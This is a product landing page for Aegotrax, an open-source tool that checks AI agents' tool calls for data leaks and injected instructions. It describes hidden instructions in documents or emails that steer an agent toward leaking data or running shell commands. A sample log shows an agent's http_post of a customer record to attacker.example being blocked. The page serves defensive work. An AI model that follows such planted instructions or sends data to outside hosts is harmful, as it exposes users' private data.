Aegotrax background illustration

Control your agents.
Protect your data.

Agents don’t leak data in the prompt. They leak it in the tool call. Aegotrax checks each action before it runs — open pilot, in your environment.

Docker · one command pip · Python SDK MCP · gateway
Try free Pricing GitHub
Docker
# clone & run · v0.2.5
git clone https://github.com/aegotrax-dev/aegotrax.git
cd aegotrax
docker compose up --build
# curl http://127.0.0.1:8000/health
# engine + Python SDK · v0.2.5
git clone https://github.com/aegotrax-dev/aegotrax.git
cd aegotrax
pip install .
aegotrax-engine
# from aegotrax import verify_tool_call, set_session_context

After install, run examples/scoped_intent_demo.py — each allow / block shows up in the audit log with a reason. Open on GitHub ↗

Open-source pilot — scoped intent, read budgets, human approval, server-side intent. Run it locally, read the audit log, decide for yourself. Not certified for production workloads yet.

runtime_monitor.sh
How it works

A security layer for agent actions

Aegotrax sits between your agent and its tools (email, HTTP, database, CRM…). Every sensitive action is checked in real time against intent, scope, and policy. If it looks wrong — it is blocked or sent for approval.

1. Your agent

Wants to call a tool

2. Aegotrax checks

Intent · Data source · Destination · Policy

3. Allow / Block

Only safe actions reach your systems

Open-source pilot on GitHub · Apache-2.0 · shaped with feedback from builders in the agent community.

What we solve

Hidden instructions in documents or emails that push the agent to leak data, email outsiders, or run dangerous commands — even when the user only asked to “summarize”.

What makes us different

We are not a prompt filter. We protect the tool call itself — the last moment before damage can happen.

Why it’s trustworthy

Runs in your environment. You own the policy and the logs. Every decision has a clear reason. Fail-closed if the engine is down.

ERR_UNAUTH_REQ: 0x4B1F AGENT_TRAJ: EXFIL_DETECTED [BLOCKED] dest=external_db
INTENT_MISMATCH: TRUE PROV: UNTRUSTED_DOC [BLOCKED] act=exec_shell

Simple numbers from our tests

Internal suite: 100 scenarios (80 attacks, 20 normal workflows).

100%
Attack Recall
80 / 80 attack scenarios blocked in our controlled suite.
0%
False Positives
0 / 20 normal workflows blocked by mistake.
30ms
LESS THAN
Overhead
About 30 ms to decide — fast enough to sit in the live path.
* Internal suite of 100 scenarios — a baseline for tuning, not a guarantee for every production case.

What a block looks like

aegotrax-cli policy=production
$ agent tries: http_post
→ http://attacker.example
$ payload: customer_db_record

🚨 BLOCKED     risk=70
HIGH RISK: exfiltration of sensitive payload
to untrusted destination
✓ action not executed
✓ decision logged
✓ policy: deny_external


$
Decision Context
70/100
Risk score for the attempted action
Intent validation HIGH
Data provenance SENSITIVE
Destination trust LOW
Policy match DENY
Pricing

Try free on GitHub. Lock early Standard if you need more.

Free is the full open pilot — no account. Standard waitlist is for guided setup and priority updates, with a locked-in early price before full launch.

Free

$0 · self-host
  • Full pilot runtime on GitHub — no signup
  • Python SDK + MCP gateway
  • Scoped intent, read budgets, approval flow
  • Runs on your machine · Apache-2.0
Try free on your machine
Waitlist — locked-in price

Standard

$20/mo$8 · waitlist / mo Waitlist members keep $8 when Standard launches (full price $20)
  • Everything in Free
  • Guided setup & priority updates
  • Deploy help & policy templates
  • Email support — still self-host (no dashboard required)

Standard waitlist

You’re early. Lock $8/mo (full price $20) and get Standard first when it opens.
One email when it’s ready — nothing else.

We only use your email for Standard / pilot updates. Unsubscribe anytime.

Contact

Already running real agents?

Tried Free and want help on 1–3 production-bound agents?
Send a short note — we reply within 48 hours. Or join the Standard waitlist for early pricing.

FAQ

Short answers.

Is this just a prompt filter?
No. Prompt filters look at text. Aegotrax checks the action (send email, HTTP, DB…) right before it runs.
Where does data go?
On your side. You keep the policy and the audit log. We are not a black-box cloud that must see your data.
What if it blocks something legitimate?
You can require human approval, change the policy, and review the reason for every block. Pilots start small so we can tune this with you.
Who is this for?
Teams whose agents already touch real systems — CRM, email, databases, internal APIs — not chat-only bots.
Can I use this in production?
Not yet as a certified production control. Start locally, review decisions and policy, then talk to us if you want a guided pilot on real agents.
What is free?
The full open pilot runtime on GitHub (v0.2.5): SDK, MCP gateway, scoped intent, read budgets, and approval flow. Self-host on your machine — no account required.
Is there a paid plan?
Standard is on the waitlist at a locked-in $8/mo (full price $20/mo after launch): guided setup, priority updates, and deploy help. Join under Pricing — or try Free on GitHub with no account.